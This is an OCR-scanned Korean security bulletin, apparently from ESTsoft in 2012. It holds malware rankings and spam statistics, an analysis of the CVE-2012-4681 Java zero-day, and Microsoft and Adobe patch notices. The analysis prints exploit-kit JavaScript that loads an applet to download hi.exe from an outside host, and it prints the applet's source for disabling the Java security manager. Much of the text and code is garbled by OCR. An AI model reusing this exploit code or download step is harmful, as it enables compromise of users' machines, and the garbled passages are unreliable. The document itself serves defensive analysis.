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29| otyaE HEHy {ERE o
1 New  Trojan.Patched.lpk Trojan 5,544
2 i1 Spyware.OnlineGames.wsxp Spyware 5,150
3 110  Gen:Variant.Zusy.4661 Etc 3,730
4 New  Exploit.CVE-2012-1889.Gen Exploit 3,680
5 New  Trojan.DownloaderATGG Trojan 3,519
6 New  Variant.Zusy.4661 Etc 3,366
7 New  Gen:Variant.Graftor40591 Etc 2,454
8 New  Trojan.alexa.SVC Trojan 2,425
9 New  Trojan.Downloader.86016 Trojan 2,345
10 New  Gen:Trojan.HeurVP2.sm0@a0ZRvoli Trojan 2,315
11 New  Gen:Trojan.Heur.VP2.smO@auYERagi Trojan 2,310
12 New  Adware.Kraddare.DC Adware 2,285
13 New  Trojan.Script.455589 Trojan 2,237
14 New  Gen:Variant.Graftor.Elzob.10671 Etc 1,962
15 New Trojan.Patched.usplO Trojan 1,953
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Part I 89| MAL EH
2. 243 Ol BM - “CVE-2012-4681 JAVA Security Manager £3|F 2+H
(1) 71

82 269 =t AAX FireEyeO|M &ZI "ZERO-DAY SEASON IS NOT OVER YET"E £
Q2}=(Orcle) XtH} JRE(Java Runtime Environment) 70{A] @2|o] REE A & £ @
TCE AlSH X OFM(CVE-2012-4681)2 B70SHSCE S XiHF JRE F| 242 ORACLEO|A
o FAHE MAY = U= 2 WX[E HISHX| @0t M= O|o|(Zero-Day, 0-Day) |
Ho=z Zigot Fo|7t HRsirt
XiHb JRE £t21 Zero-DAY F|FHO| F&tE U= AZEQO= CH3at 2T}

0l

Sl ant

NS

(2) W9l 2
A3

Oracle Java 7 (1.7, 1.7.0)
Java Platform Standard Edition 7 (Java SE 7)
Java SE Development Kit (JDK 7)

Java SE Runtime Environment (JRE 7)

i

(L™
ZlE = Dadong's JSXX 044 VIP HX HIX| AJEE J7|&8 AIE3I0] LHE3|
ALk SOIM HMZEE 22 Dadong Ol2tik: LA Jqom HEt 7|Ee
AHE S,

for (OUBbzIs] = 0. EXwidoB = trye, PAhnWI4 = ["usie”. “firefox”, Topera™]: EXvidoB: QUBbzIsles) {
BElvidob = EledoG &8 (navigator.userAgent. !oLoanaso(J IndexOf (PARnWW4 mlsl]) >-1)
it (OUBbzIs! == PAhnWU4, length - 1) OUBbzIs! = -1

hOlex2 = "0°:
f2lete mmz

NeFinT = eval
1dIONGUT = unescape .

(IWRIERT =
" 110501 AS0BCSF 3395 TFEECR 7236 | 0THAASFBERECRE | FAZT1 BCSE57A | ACAS2| GAASEED TEESCED| BECISIOSSE0A 3865 TRABGA2SEF
J0SGEEEADTIE T0RF 895 72 TES0asE2 7500654271 WWMMMEBIMIF@I“IMMIMISIE
24AS0TOE22BEIRIE054274554 D0SA AD4GEEA0TEA | TISAT A0390CTIA4TBAGTA | B34720509530F 1 20439081 EOCSD1 21 FODSE 721 FOR1
| B3 GEERCT 726055 T3GE 3 25 T3 KZ2BICA0E2 TF 005 TAd F5F ACZSHEEF AL 734 TEEEE ACSECEA3455ER T | 51 531 SE84E6A T81 F1171
57F 31 TESF TE22 TE23 TAB3292A To2ABE 2B 73 T8 197303355 THFSE 7351 TDE2604061 SHTMWW 01 0A2B4B4BAA' m
II7ZTA0E6 1 EISOTBESTF 21 2454 ESEEEEE0TEIAC0GETT1 2201 A2S| T24565TSF TDAT2ASF 41 4368086 77055 100840775 ! MI
TACHIABEEARTSTE TS TF ,:mmmmmmmmmm 165322
33381 A24 TS0T3E6T6 1 TOS0 7266 TN TEECEF 75 7363 75G34C TS TNRA0B TTS06 74650434341 T34 TEFSFSA06295 74656581 EO1 (01 B3748
2TINE2 TS HWGMIGMIWAWJ?OMWNWIE(DI
rxxna-tSl THFOETSEETE41 TI5E24584 1 SCRO0EIEETS564652
=51 E&W‘W 52SA TEHESE3 | T2T255326F 1871 2664 TATI6601 6A496 1 45TB45E84 T600A 2400765678431 81 FIFSB401A7
66 TBER34643F THTS354E656 T395F TCABTAA0T3495B4CT3467C 435070

5764 2865556064 7S50 TI0F TE ammsslsm 13091 5055
26295 TER 30 TS5 2965333 53635077637 | FZ20A21 141 326685C41 4506
AFSAAD0BAC3I3ACIERISSEEIU EF 1 CE2427A 05653223491 SECTI24 T 78 TFECAA TITH04 | 72F 2r 084D TDAASISS TAAE T4 734440
| 181 6806C! mwmmmlsmm IGEWHAWMIMWW
$A290CT4351 34634 TOOF SERURT BA U 7SCE2A 7TE634442064630C29491 FECT7324 7078 TFECASE30A | E4E231 S0F23TCAI6A 455847 2447
32F 4534342B0E 027465859 7F 5F 3001 28505660 24631 73406 34425751 TE20071 22E A2 733AA63240546CAEBA 43 TEZS | ‘.IBES'TM
101 342342843602 7245525246850 LCE 72 TUGY TS0 736 7965622565 | 61 S20AS74CSF TR | (2844 TCTER4403464546F T74278 TE2E 1 1
481 CTU731 | SCAAALBEF 21 74572 03408448 TCIST 06346352 15 T6 7962 TAABACS TOIE234 7| 554 T3224556452050 746 7556951 143
%letW'lZ&WlWIw&m!GSZISSIWWIA?k?SAWIm
121 440054340071 2TSERAZBAZEE3065 1 24434 TUTEASEF 3A 01 0CSABESETF 6764273 1605820 TF SB2ET1 | 204 TE2BAF TPS4650MEL 72744
2246354524 0BTI2S4550 29406436351 (TS0CE064683505000044 TELEES TBALCF 79657 T2 TE0AF 7730 TF B TICS0S3aCS2Na6 755661 41
38tEeS = “functlon kikT2(){seS)BIFT-Nath. Pl.sﬂjwﬂ:ﬁls(h um ASOdP6=parse|m XxCoPJt): Im(h :FiFodpYd="t
[(~neS) BJF'?&-eSJ&JF?)I((-eS{&JF?&eS BIFT) 1 {-neSiE : E2b)) ) :Dxni -M((w
[uxNAFT 888~uxNAFTd8) | { ~uxNAF T 388~uxNAFTdB) )81) ; 1-1’!2'“- ‘ll"ﬂ\'i'uT“\‘Olll[Illd Yieje3=Dknid<Dknid:
¥5. 088 [x GG ausm [FlBeu|S3aR lc]4r idpDte=" |eEus : : m-r/slnmmm
nevi= tringl IKINGUI (X5« "BX72X" « BFXE0X4 "« MI T:‘Zﬂ "FUSFA5A" « X557 ) |+ tor (d | tNkTRuxN
l[I¢?§|58127)<Q53I((anS\SSWQTIGBb»’H‘S&BS char&dtkl(dlmﬂ) r | ARBe20kn i 4 16¥SnS>>>%0: 1or (dI tNKT
[XXCoPJO] ;@1 Nk ToxF Vo) 3, rEv2EVHI ++ )1 i 1{dItNKT>=(1<<3) ) {nCXakdnd | tNKTX( 1 <<3) : belse {nCXaHd=dltNeT: }KIRDOn
aCXakd, 2) ) orEv2 Ei’HI.tl('/‘(mﬂ})'/s[FlFodel K1 RD0+744) ) K1 ROOX=82; 1t O + =0 DLF ST ASOIPE( uxNAF TdB+ | XN
[d1ENkT+ASDdPE(Dkni 4) ) ) K1 RO0) 5 ttryi{nes function(}{bAiMAGSS(utCyvl) ibicatch(e)itryiner function(){biVddtEds

dnie

lnndo- location=". i Hitry{NcFjnT( kikT2(): ) Icatch(e) {try{riARS=LxNAFTEBINCFInT("kikT20):" ) ihcatchiella
xUaEl = HcF;n'7(NcFm7 H
IquUaEe(thEpG
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Dadong H&E3t A

7
= ZAHE, EAF He gt 3 ol SSE o HE =2
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LLI
(L]
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=23} 5tH BLES| JAVA OfEE

o
for
i
Ot
rir
s
1o
i
+
30
_['_l_

sRiYnOLS = bAiMAGIE:
RHDIS = bivddeE4(20100418)
;-hlla (window.cloged) {

var suond = window. navigator, usari ont toLowerCaze() ;
It (e, indesdf(“uzle B7) » ?

document . writel ”ORIECT classui ‘elsid: Eim—M-E IIDI—B‘SEE-MHESIBE width="200" height="200">pa
http!/fok. aa2d. et /meet Ing/hi exe’ ><paran napesho 3 ; am name=z| walue= "conalaiyeb
lal-a?Olel',E '\'?luv- "evedll oo, Bondvy  c lass” DBJECT>):

elze

document writel <brs");

war gondady = dnl:unent.creataEIenntE‘hndy‘]:

docunent . body , appendChi |d{gendady);

war gondad = document . l:real:eEle-entl: applet”);

gondad. width = "&567;

aendad.height = 2667 .

gondad.archive = “applet.jar™;

goendad. code = "cved0l B, Gondwe. ¢ lass”

gondad, setAttributel "xiaomanlv”, “http: .n".l"ulc aa2d.net fmeet inghi.exe”);

gondad. setAttributel "ba”, “wovouyizhixisosaslv'):

gondad, setAttributel™si”, “conglaivebuai™);

goehdad. sethttributel "bs™, “T487):

document . body . appendChi Id{iundad] H

¥

delete sBtEpG:
delete kikT2:
delete weSjBIFT;
delete ASOAPG;
delete KECoPID;
dielete uxMAFTdE:
delete Dknid:
dielete FYigic3:
delete lg¥Sn5:
ditlete utCyl;
delete DuDLFSE:
ditlete dlthi?;
delete vIPEIBLI:
dilete bAINAGE:
delete HcFinT:

<12 2 2335 [c

0] OZEl0= & 749 SefAR FAME 0 YO Gonw Z2fA0| CVE-2012-4681%| QA
o2 Zero-Day 222 matst= Z2jA0|D GondzzE2e A0 L= HiO|H2| IHYS CH

hu

J(iondw.clam x[ Gondzz.class ]

import java.security.ProtectionDomain;
import java.security.cert.Certificate;

public class Gﬂndvv‘{ extends Rpplet
{
public void disableSecurity()
throws Throwable
{

20 Statement localStatement = new Statement (System.class, "setlecurityManager™, new Object[l]):

21 Permissions localPermissions = new Permissions():

22 localPermizsions.add(new LXl1lPermizaion()):

24 ProtectionDomain localProtectionDomain = new ProtectionDomain (new CodeSource (new URL("file:///™), nf
26 RccessControlContext localRccessControlContext = new AccessControlContext (new ProtectionDomain(] {
27 SetField(Statement.class, "acc", localStatement, locallccessControlContext);

28 localStatement.execute ()

}

private Class GetClass(String paramString) throws Throwable
{

<17 3. f=3 74>

ES Fsofl  copyright © by ESTzoft Corp. All rights resanved
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import java.applet.Applet;

import java.awt.Graphics;

import java.beans.Expression;

import java.beans.Statement;

import java.lang.reflect.Field;

import java.net.URL;

import java.security.AccessControlContext;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;

import java.security.cert.Certificate;

public class Gondvv extends Applet
{
public void disableSecurity()
throws Throwable

{

// localStatement0f QIAtE EE AMA HoH (T Hh Ct.

Permissions localPermissions = new Permissions();

o
Ui
rir

localPermissions.add(new AllPermission());
ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new
URL("file:///"), new Certificate[0]), localPermissions);

AccessControlContext  localAccessControlContext = new  AccessControlContext(new

ProtectionDomain[] { localProtectionDomain });

// localAccessControlContext= 2= AlG At

w3 =it

mjo

BOIOHC} Sid 225 50 AW or2fe 20|

// sun.awt.SunToolkit.getField(Statement , “acc”).set(localStatement, localAccessControlContext);

SetField(Statement.class, "acc", localStatement, localAccessControlContext);

// localStatement?} AZ&XMOZ System.setSecurityManager() & A3Mst= HHO|CE

Ho|x| | 8
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=5 B

private Class GetClass(String paramString) throws Throwable
{

Object[] arrayOfObject = new Object[1];

arrayOfObject[0] = paramString;

// Class.forName(“sun.awt.SunToolkit"); S 2 Z0 & %= QLC}.

return (Class)localExpression.getValue();

private void SetField(Class paramClass, String paramString, Object paramObjectl, Object
paramObject?)

throws Throwable

Object[] arrayOfObject = new Object[2];
arrayOfObject[0] = paramClass;
arrayOfObject[1] = paramString;

// sun.awt.SunToolkit.getField(paramClass, paramString),2 2 Z0{ & %= QICt

((Field)localExpression.getValue()).set(paramObjectl, paramObject2);
// sun.awt.SunToolkit.getField(paramClass, paramString).set(paramObjectl, paramObject2); S £ &
= 5 ULk

}

public void init()
{
try
{
disableSecurity();
// £|BZHMOZ disableSecurity(;2 2 HE= A3 HIHS 2O} SecurityE oAl A E=ICt
String s1 = getParameter("bn");
String s = getParameter("xiaomaolv");

oS} AHEE

<HE 1. AA AC 2A>

Ho|x| |9
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localAccessControlContextH-= R E M3 ASHS £S5t HEHO| QIAEHAZ HO|EICE
AA AE EMHME SunawtSunToolkit®| getField() HIAE0] FA™O| QUOA EX7t &
M3t=0|, = localStatement= setSecuritymanager 252 Alsist= HHOZ 0f7|0f
sun.awt.SunToolkit.getField £ 0|83l CIXt gt M2 8io| QXtE EE2 £ UCt= FAUHA

o|ct.

HeX o 2= System.setSecutityManager( 2= A& @t )22 Al o = QXL
System.setSecutityManager(O{H) @ Z+2 WSS = Statement A E UHEQY
sun.awt.SunToolkit.getField(Statement , “acc”).set(localStatement,
localAccessControlContext), 2 2 ZE MAAHTIO|ZtE QXE 232|510 Ef
localStatement.execute(); £ AT OZ ANAoz DE Al MUSHS 7K A =ICH

OF

g A3 EE 22 XtHt JRE FAM(CVE-2012-4681) 2 2 http://xxxx.net/hi.exex CI2ZE

o
sict

—

[

File Name MD5
hi.exe 4A55BF1448262BF71707EEF7FC168F7D
%System32%mspmsnsv.dll 2F8AC36B4038B5FD7EFAD8F1206C01E2

mspmsnsy. dil S2 BH 2|

T

2o |me ] e |

IHe A E& T2 =E

HE T2 ™ 2 FE S8 ZEOH HAC),..
2 E: C¥Documents and SettingsWkkWHIER S
37 10,06 10,240 HHD[ E3

O3 €2 370 12,0KB {12,286 HIO| E3

M &4 SE ZZ]H

3. hi

2 C:Documents and SettingsWlkkwHIE SHHA
37 16,566 (16,536 HHO| E )

Cl=3 &% 37 20.0KB (20,480 HIO|E)

<12l 4. Hiexe 2t mspmsnsv.dll 8 &>

Size
16,896 Bite
10,240 Bite

g o|x| | 10


http://xxxx.net/hi.exe

12t

CHR2ZEE B2 hiexeE &= AT Al CWWINDOWSHsystem324#0f| mspmsnsv.dilot S
g

d-dstA

MOl g3t =HE EF EHocz H&ES 2¥siH % 43 Al 7|24 52 &
AX7L QEStE 84 7lse St A2 FHELL E4AE BE 271s)
3) ZE

MO0l BH2 wot FH0| YAEAS O 2H i3 shZ YHo| L2Ax|7| Hoj
0|20IX|= B HOR, UUHOB HEEOM HAHO| LHED KLY
HLR7H 3o z

Bi=5t2 AFEXLZE O] L2 =or CHASt= Zi0] &
| O|C}. O] FHeF2 A

—

hu

HO| JEi= ZEE|UC

M=, OracledfAf O] FfHo| Cet TiX|S AAIStD YHO|EE A5t ALt
http://www.oracle.com/technetwork/topics/security/alert-cve-2012-4681-
1835715.html#PatchTable
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http://www.oracle.com/technetwork/topics/security/alert-cve-2012-4681-1835715.html#PatchTable
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11080
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. [ I R
3306 1433 1080 110 21
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g A gl HO[YA S g Oz SHF0| FYE= Holg{Aa AW Yol =& Lt
EUs JTRULC, sEo| B9 72| His| BOl2AT TRE MY SARKE o 30%
O = ZASHESUCE =8E 2™ e A xXel Z% 70 Hlsi 8& A7t 2f 20% 7tk
o] Z7I5t} &Lt

(2 g2 57§y
[20124 03& ~ 20124 08¢]
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4.7% 48%  30%  mHolE=

2 sge HA oo SCE =T E
JafmolLict Bl A1 020l 970% SOIEAES oiZo| 20%8l HEE 44 Aoz
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i ALY UQ} B HOIES M OHS

(3) 2 HY Ujo| AMYIAE HY
[2012 8E 19 ~ 20124 8& 31¢]
=9 ofg3ct ZFIEHE | & = [7H] H| Z[%]
1 W32/Mytob-C 2,527 24.90%
2 W32/MyDoom-H 1,453 14.32%
3 Mal/ZipMal-B 923 9.10%
4 W32/MyDoom-N 412 4.06%
5 Troj/Invo-Zip 379 3.74%
6 W32/Virut-T 339 3.34%
7 Mal/BredoZp-B 312 3.07%
8 W32/Bagle-CF 122 1.20%
9 W32/Mytob-G 120 1.18%
10 W32/Netsky-P 93 0.92%

A O Lo o83E o g ote S¢ AE WM ZHE dEIE
24

Top 102 2 Jj= QLI &K W32/Mytob-C7} 24.90%2 H|-80| X|tEHof H|s{ o
ZAsigoLt 4T %oz 1912 AXGR oD, 290& 1432%E  AHX
= 910%Z X}X|3F Mal/ZipMal-BRIL|C}. 299} 39| IA| H|S9

W32/MyDoom-H, 3%|&=
She QIIOL XILET SUS 29S HO|D ALLICH 8| RYE AWHY 4=

=
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~ E o N oy

% Jm—

g o|x| | 15



Ol 8%9| Ol.ﬁ.jl. El?i%'—l[l—

HO| 7)tCHE2
| IEHEA BHYASLICE O Hho| S27|YE =5
27|18= M0

<L

=N}
o =

OH
=

Z20|AE0{9|

ol# EE7|

1.8g9 |

R #oH, Tt

Part I &
72

i |
N TEET SR
- R T gy <3 K oD o © ||H
8 R g mlMu_M u g 3T oK S B0 U Lo +
o] H © E_Ew_mo_._ ™ a = = 31 © .. . El__/_”_ d
mMm__”__W 47_.._A_|Un|_mu Mooo_e.r.n 5_.|._A|a_a7|._7._ mu_._m_mM
Z gl TS N 0 = gp ol 2 — NN
N T oo o or B o K2 e T ul oo
_m__._._l_h_l.__Ano .__Anuu_umOﬁ_.:.__A_.o L_LMM_H__ElT.AIM_.uo“_ wm_ﬂﬂwﬁlmw OL_/ﬂ_l__AH.I
g_oo_ﬂHA_. Mm_mx%a_w OAM@:__L_____H mmamlow__m__u_dmu a3 .
o o of XF = = =l up N ol o go 00 N — [T L_.._IM
RM g FROR g Hru_:ai_a o & K oW R < ]
s o S gy TR W oE e & s O w d o Ko
RO & 5, @ I o st Kkao _ © = _ B & T
e I H oo < I~ = af 1 ol I 4 RO
Ty M uoﬂ.n_u.MAeﬂ @Hﬂoﬂf &.mmﬁ_wzﬂuo ul = g
s b W T O T o T = o T TR L i
ol 2z ol 5 1 Hlu U &) Wo— T ol T 0 A1 o
o ]l —_ T = = K 0 —T Al Jd | - [H] 2 ]
ol B O s TRA T %z S Fq M 2ol T T o X T
Rr —_— = R0 _Am_uluerﬁu E = =_=_._b m_e_._._lA_u_l__u._ _
m_u___um_m mﬂﬁﬂ.uﬂﬂto:F A = o K o2 = s ©
meﬁ_u____n_L T O__éo a_/_n_/x o o hm_oM
ny kKO S —T F o_an_l__lﬁ._olm ME_ﬁ.Iur M.ALL_M_@uurL O T
oﬁ1+n_ B o o KU o Uk o o = K JEEWHaD - 4
|z X B °cmz LY S s J g M G
_EM_WE% A_Afo_%uio____ s o = o . ME 5 9 | % B W
ATLlu_.._%E._ oW K32l |Mr_”_ i _.ﬂomMmMAm_ EEDImm OH_._ M__ wm.§=
S = A Ao W o O e R
Wizomw EAEATW ol Ew____mmm_u.__/. A_.W_mp_tm_uo_ = 5o
.A_ =0 NE KO W = &I .n_v.: i R < o¥ .u_"_._.: _ X = Wo IDI 1ol HA .%_ﬁ 0 oH w _A._n_ ok | M.F
1o o B TREESET N_Mozi_%u aﬂ_ﬂommﬁ_w% 2B
= @ RF o = ooR ol T W< - X
1 - ol — o 31 2 T ~N 22 {[n < . < 4r D Ul = o
_“____W__._.mM_._:_ R_...ﬂx_._____:4o_=mﬂ mv._n.oﬁ__Lu._/AoMmM .JEol.u__uAmﬂ ,:._oﬂm_.
=S 0T o Twy B E A SIS slmo X T om uy o5 ol
© o’ g = S = NID s wWmRH zox_.e_a6+o._|o_e L
sElas mZPE Tyl g REE Sealssz @ o Ty
ﬂﬂ_am_ﬁzﬁ ﬁmam:__:_._lmx H_vmmﬂrm& o o E
Hin <V - - =r _, O 0 = &+ D o = e~ N _ Ko ]
L) 7mm%nxg¢a re e M mmm}fgwmqm_ QRS
<oy M&:H%%uﬂm_ o Hol_unoA_ Eou.ﬂm_m_uo_eaﬁﬁ nJSA%_
¥ ol M o 4 = = — ol ™ S o mr ujo )
o.x._ ol ofl ol il R o K — N = H_._| —n |_|m_”__._.___.=
. e o < ] ol i T o 2
LT2ES e DHYTwu mERE s X5 3
. Mo R o m H ol Kk nd =0
. Ol RO K- T B S o
o Ko Hl I

Hlo|x| | 16



10
o
(=0
1

Lo
[=]

f

. S50ZHCHZ

3A geg f22 OtLX|T

=Eo
=1

a2 ALRR}

SH

E

T, 2012 12ERH

getof| =

7h

x
(=]

X
NLESS HEIO otHH, S| FLHY2 R

(o:]
o

OH

2 shoygf 20154

ol
@

Ho

o} O rul
g1 % =

HotE

FLICH R

o
o
=

O

Hotg

F

=]
=

St ~2ZEQ 0 i

AMEMA

=] o
oY wyaols

2ZEQ0 T EAOAM F

E|

=
[

F

of

ZAQL|Ct O3t AATE HOQHO|

AKX

I ALO|

2|A 0]42| 2to]

=
=

1, of

ot
(k=)

Bul
= opo|a

ol
o[l

o'

&Rt

=
o

Ul
™
X0
ol

o0

A

I.

3

E|AS LI B

H
oF

o

3

EJt Ct

™

(APT) o}

1l
o
<ar

AOIEO| X|SEXA|

2
A

Ho

EAZTE XML, XtHEQ|

Lol

=13
=]

ot

4 st

Joll

g o|x| | 17



| oo RO
.rt S ou ou BT Ho o N
—_ —_ o ol MH oo S P =il T =
|L. = >3 =2 9 - o T oy H - il
Rk 1o aMsM_% I Al = DS oo m M PR
LR o R ko < X Bl - of oF R o) =
w5 Forgo W oma nkmﬂ%waﬂyo ©
= I 0 o o - T =T _
_ ol L o = o o * 4w A e xR o o & &
T = S w1 om N = - T Ki A0 = zo m oo 4
o= Uo or o3 ol L] o 0% = ~ Ko &r A
12 = Ol._ o, O} |r_| |__A|_”_ nLn - fu— _u_.._ _ o S A_ LN ._n.wﬂ
A Ol o e K oW oo T < S &
. m_uwoﬂuu m < mH RF wmm_w wEu._+o|ﬂL__ nxTWW
Olﬂl_.cl g __._._o o o _ &_._._D. 0= < i < T o IZ\Q;I&I
< Il e 1 [a) _ T ™ - 10 {n
KR M o5 o 3 i Nz ul o Ur oo = RIH b X
) Ul op 5 = o HFE = MWz . & X R o o o
7 s wog oo R M =N 5@ OH <
R W o Mm% Nowo RS S = Wom
n R < R O m S CIRC L B ol = m
™ =T oo ™ m oo W I S T W R o
x &oul Hoo5 S " N RO 515 U A u & B
= od [ = + [l oY -l SN T o = B ™ . LL
=3 u ok .- X H O M oo T m Mo
o npf N DS oo W K Mo o o W w o S T O T 4o
m o] ® 2 S B g W BTom oo ol R 5T §m”ps
e - TS AN MW — o< -0 W oE o~ oFl Of oo <N
T o O &% o o 00 = oo O ul mu oo T of = T ook = K Bl | ul
—-— od == 2uL||L|.__A.o _._._._|A_|L|| ﬂmxdﬂll_o; _ il
Tr KH H n < =< = ™ H = < M or RO - Jqu ol ~d o
ol ™ H /Z\Mwou_.__uxnl ﬁ_._“__ﬁa___.ﬁm_u ol_oﬁﬂoawrmMm Egomnﬁﬂ
_,._L0| o u 2 ol o B Em ol A__u o = on ..m e o %m + OS¢ ol o &_H orl
W =5 g0 —— - Q0 X o __:Jlﬂ| o = 1wl ] T 1l o K|
WWEmﬂE_ mbe._ﬁ_.w_m_._. *IO_:._WWWW m¢wtnﬂx|utﬂo=_:__. m_.mﬂuw_.
S ¥z @mgomw o ohA_u_uoxtﬂ g9 T2 < | S el
31 X = WD A = 2 %0 go of £ o ) S ° K
S S & B & o g R o250 S 2 0 Mo g £ oo
%i.m6 Ea#y@ﬂm: n_uymA:_so__ gm_zﬂ_ﬂa_ai T4 0
= 20 3 o B . - OF i o w =
S S RIS o W B0 T of My g i 1 o =g I 0l | 2
KT M I Pl o ™ T ®F Ju 3 5 <l - Kto J F OF 2 & owl ol
E Y - e U = S W oy B X S ul 2wl 9 do S o U
Als |.A_| rE M [®3 ol — ol = mmHH_ﬂl o o
S T -3 R m|_+m§%o____ mo ™S, £2 S @ HIT o 2
5 & 2 2 2R 2o £ = = Ul o Z 5 = ol ol o <
memI®m Sz FgLo m e 8 B 5 o g T o Tm g% @
Mg 3 o hmu.ﬂzo@mo % G = s ., T ¢ I ) 5 ol of &
= — O — _ -
TLBRss sLoPRE_ TOs Ay THTET Uy 2Hw
e @2 a Sy 2w _F M ore ool modp $_R s oo S 5o m
g u @5 g e RS RS HKHEN 20 ® =N
EMS3S EocmMKMITITWS WMo

I3
B33
.

2. 89|

= Q&L L of
H|o|X| | 18

AHE HMAN HA[X[el &3

—

(@]
Tlol =
A7 O] #UES A3l B ALY HE DHUS

E|

Ljc}.

b

=

o

AEAZE HAF MY HAIX] EE
o

=

Yz 2 grsjor

A Bt



»
-
2oy
233

W

Microsoft Exchange Server WebReady A H7|7} 1 ILc AMHZ 58 £+ U=

F| 2k (2740358)

0] H9t AHO|E+= Microsoft Exchange Server WebReady &AM H7|9| Z7HE FAH™S
SjZAsL|CE O] FUHE ALK OWA(Outlook Web App)E A3 EL61H ZZHE
orgls 02|E= 4% Exchange MBE{O| U= ZE BiZH MH|A0| HOE AHAHAEOM
4 ZEE HYSEE S8 o USLILE WebReady A1 270 A&&|= Exchanged|
e ZE BHE MH|AE= LocalService AFHOA MM UESL|CE LocalService HZ0j
= 2Z AFHO A& HBO0| AoH HELINM dYH X4 SHE MAlL

L=

Windows 72 2 E C2l0|Ho| X|ekXMoz QI3 HSH AL 2| X (2731847)
O] B¢t AHOO|EL= H|Z/ECo 2 HIEl Microsoft WindowsQ| |2k
SAXZL A|lA”0 228t g 2

o= Qlgf Mot 50| 5{E

o o=
d2 x4 382 7IX 2 2Z2 2a2g 5= U0{0F gLt

JScript 9 VBScript QUTIo| FfHMOo R Qlot YA AE M FUH(2706045)
0] 29t AHO|E= 64H|E H{F Microsoft WindowsO| A A& E|= JScript 8! VBScript &
AEE Aol HIZHHEE ENE FAFES SHAYLICE O FAFEE Qs ALEX7L

o =
251A =AHEl 9 AIO|EE Hi23 AQ Q7 [C AlsHo| §2E & Q&L ZAX}

—

£ =l 2 AO|ES YWEY 2 3C MY = & A

L ZHZ AR ¥ AMO|ES WRSEE T 4 g&LTh [jA SHRE ABX{IL A
A MY AR £ QAHE HAMKN HAXS YRS S2sto] AR ¥ AO|EES
WEslEE QEsls 2{0] YormelL|ct

t
X7t ExStA =EE mYES EAHLU E5tAH =EE CGM(Computer Graphics
Metafile) 12T IS Office A0 ESHsl= AL 0] AA™MOZ Olsf Yz I Al
dol SE8E = USLLCE FAHE 480 H3o 34X M ALEARt Yot AHHES
A2 = USLICHL A= Cist AFEAL Hoto] HA LHE AHEHO| AH8At= 2[XH &
ctoz ZASt= AREXLO| H|S) 2 HA &L

Microsoft Visio2| FAFHoz QIst 2174 [ = A3 2 H H(2733918)

0] 29 YHHO|Ex= H|FIWHo 2 EHIEl Microsoft Office?| F U™ ES sl ATHL|Ct 0|23t
FAHo 2 Qo ABAZL E55AH ZAE Visio IYS g 3% dF A= HHo| 5E
2 & ASUCL FAE A0 I3 IHX= WX ALEXtt €T dots ¥E +
UASLICE ALHEIO| et AREAE AoHO| HA FLdE AES AEAt= ZelA dotez
L St= AFEXLO| B3| s HA HELCH
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<ol ZAxH >

Windows UpdateE £=&35}7{L} Microsoft EQF ZX| 22F AIO|EO|AM SiE FAEEZ2O| I
240 oK ntds C22E s + ASUH L

St= : http://technet.microsoft.com/ko-kr/security/bulletin/ms12-aug

=
A= : http://technet.microsoft.com/en-us/security/bulletin/ms12-aug

« Adobe Reader/Acrobat Al F 2™ HOIAGO|E HD
_7'<_

Adobejil = Adobe Reader®} Acrobat0f ¥z F= FAXNZS S|ASH HOF AHO|EE &t
HEHESLICH &2 BT Adobe Reader/Acrobat AlEXAt= LMHIALE ZAH F gt = U
ooz sfZYoto et AAMHFH 2 YHO|E SHA|Z7| HEEL|CE

. Qo|FE Moz O[OjE 4 QY AH OHZEZQ # O (CVE-2012-2049)
+ YO|RE MHOR 0[0jF 4 Uk BT SHERS #oFH(CVE-2012-2050)
« AUAo|FE AMWMOZ O|E £ Ues HEZ| &4 FAM(CVE-2012-2051, CVE-2012-4147,

CVE-2012-4148, CVE-2012-4149, CVE-2012-4150, CVE-2012-4151, CVE-2012-4152, CVE-
2012-4153, CVE-2012-4154, CVE-2012-4155, CVE-2012-4156, CVE-2012-4157, CVE-2012-
4158, CVE-2012-4159, CVE-2012-4160)

+ QO|TE MMOZ 00 4 QU B QHZEL FOFH(CVE-2012-1525)

+ DiZIEAl BHOIN YO|FE MHOR O|0|H £ QU HEE| &4 FOPH (CVE-2012-
4161, CVE-2012-4162)

<o HE>
« AE L, O{ZIEA| ZA0|A S2tSt= Adobe Reader/Acrobat X (10.1.3) Sl 0|} HH
e AX 2 OIZIEA EHHU M SZHSH= Adobe Reader/Acrobat 9.5.1 5! 9x 0|3} &

<oz 4>

» Adobe Reader AFEX}:

Adobe Download Center& =350 X4 HES X|SHALL [Hw]-[=2E]-[RHO|E
gollg 0]8310) Yazolc

- 2R BIH0AM SESH= Adobe Reader AF2X}:
http://www.adobe.com/support/downloads/product.jsp?product=10&platform=Windows

» Adobe Acrobat AF2X}:

Adobe Download CenterE 22310 XA HME MHX|SHAL [HF]-[E=22]-[EHO|E
sjollg 0|30 gagol=

- A2 AN SZES= Adobe Acrobat Standard/Pro AR X}
http://www.adobe.com/support/downloads/product.jsp?product=1&platform=Windows
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http://technet.microsoft.com/ko-kr/security/bulletin/ms12-aug
http://technet.microsoft.com/en-us/security/bulletin/ms12-aug
http://www.adobe.com/support/downloads/product.jsp?product=10&platform=Windows
http://www.adobe.com/support/downloads/product.jsp?product=1&platform=Windows

<& ALO|E>

http://www.adobe.com/support/security/bulletins/apsb12-16.html

» Adobe Shockwave Player F2FH HAHLC|0|E A1
Adobejil = Shockwave Player0f] 2Mdst= AE Aldl F
HSL|CH F2 T O Adobe Shockwave Player AFZXt
ooz siAYeto wat HAMHFoZ HH|0|E SHA7

. ACAMOZ O[0jE £ Ys M| 24 FUH (CVE-2012-2043, CVE-2012-2044,
CVE-2012-2045, CVE-2012-2046, CVE-2012-2047)

<sist HE>

e A2, OHZIEA| &AM S25l= Adobe Shockwave Player 11.6.5.635 Sl 0|s} H{™

LERTER

« Adobe Shockwave Player 11.6.5.635 0|5} H{ ™AL X}:
Adobe Download Center(http://get.adobe.com/shockwave)0f| 2t25}0 11.6.6.636 HM S
AX|StALE XAts YHO|EE 0|85t Y2 0|= SHA|Z| HFEfLICE

<% AIO|E>

http://www.adobe.com/support/security/bulletins/apsb12-17.html

» Adobe Flash Player F2H EHOF AH0|E # 1

Adobejit = Adobe Flash Player0f ZMst= FAHES s Zst 20 AHOEE LHIUSL
Ch SRS HOPHS 0180l AIAHS WAL A2 HOjAAS BUSY 4 Yo
D2 SfZL-o mep ZUHE2= HHolE |

<sig HE>

» Adobe Flash Player7t AX|=l 2=

<siZ
